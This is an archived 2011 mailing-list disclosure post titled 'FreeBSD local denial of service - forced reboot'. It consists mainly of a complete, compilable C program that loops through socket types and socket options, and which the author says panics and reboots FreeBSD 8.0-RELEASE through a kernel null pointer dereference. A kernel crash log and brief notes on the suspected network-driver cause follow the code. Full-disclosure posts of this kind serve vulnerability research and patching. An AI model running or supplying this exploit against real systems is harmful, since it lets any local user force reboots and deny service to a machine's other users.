bugtraq - FreeBSD local denial of service

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <AANLkTim1Uv475V91hDZ9A=xQvJLW2YeoU7SB7ZVSGx+M@mail.gmail.com>
Date: Fri, 28 Jan 2011 11:43:10 +0100
From: "HI-TECH ." <isowarez.isowarez.isowarez@...glemail.com>
To: full-disclosure@...ts.grok.org.uk, submit@...sec.com,
	bugtraq@...urityfocus.com
Subject: FreeBSD local denial of service - forced reboot

# Exploit Title: FreeBSD local denial of service - forced reboot
# Date: 28. January 2011
# Author: Kingcope
# Software Link: http://www.freebsd.org
# Operating System: FreeBSD
# Tested on: 8.0-RELEASE

This source code when compiled and executed
will reboot at least FreeBSD 8.0-RELEASE because of a null pointer dereference.

#include <sys/types.h>
#include <sys/mman.h>
#define PAGE_SIZE 4096
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/socket.h>
main() {
       int k,fd,i2,i3,i4,i5,i6,i7,i8;
char *p;
      char buf[4096];

      for (i2=0;i2<256;i2++) {
       for (i3=0;i3<2;i3++) {
       for (i4=0;i4<2;i4++) {
       fd = socket(i2, i3, i4);
       if (fd < 0) continue;
       printf("SUCCESS!\n");
       for (i5=0;i5<100;i5++) {
       for (i6=0;i6<100;i6++) {
       setsockopt(fd, i5, i6, buf, 4);
       getsockopt(fd, i5, i6, buf, &i7);
       }}}}}
}

The crash dump looks like the following.

Jan 28 11:33:07 r00tme kernel:
Jan 28 11:33:07 r00tme kernel:
Jan 28 11:33:07 r00tme kernel: Fatal trap 12: page fault while in kernel mode
Jan 28 11:33:07 r00tme kernel: cpuid = 0; apic id = 00
Jan 28 11:33:07 r00tme kernel: fault virtual address    = 0xc
Jan 28 11:33:07 r00tme kernel: fault code               = supervisor
write, page not present
Jan 28 11:33:07 r00tme kernel: instruction pointer      = 0x20:0xc06143ba
Jan 28 11:33:07 r00tme kernel: stack pointer            = 0x28:0xcd1fa5b4
Jan 28 11:33:07 r00tme kernel: frame pointer            = 0x28:0xcd1fa85c
Jan 28 11:33:07 r00tme kernel: code segment             = base 0x0,
limit 0xfffff, type 0x1b
Jan 28 11:33:07 r00tme kernel: = DPL 0, pres 1, def32 1, gran 1
Jan 28 11:33:07 r00tme kernel: processor eflags = interrupt enabled,
resume, IOPL = 0
Jan 28 11:33:07 r00tme kernel: current process          = 1004 (bsdcrash)
Jan 28 11:33:07 r00tme kernel: trap number              = 12
Jan 28 11:33:07 r00tme kernel: panic: page fault
Jan 28 11:33:07 r00tme kernel: cpuid = 0
Jan 28 11:33:07 r00tme kernel: Uptime: 2m48s
Jan 28 11:33:07 r00tme kernel: Cannot dump. Device not defined or unavailable.
Jan 28 11:33:07 r00tme kernel: Automatic reboot in 15 seconds - press
a key on the console to abort
Jan 28 11:33:07 r00tme kernel: Rebooting...

The cause of the crash seems to be a specific network driver. Since
the crash is forced (only?) in a VMWare virtual machine the
exploitability can be dependent on the loaded device drivers
and installed hardware.

Regards,
Kingcope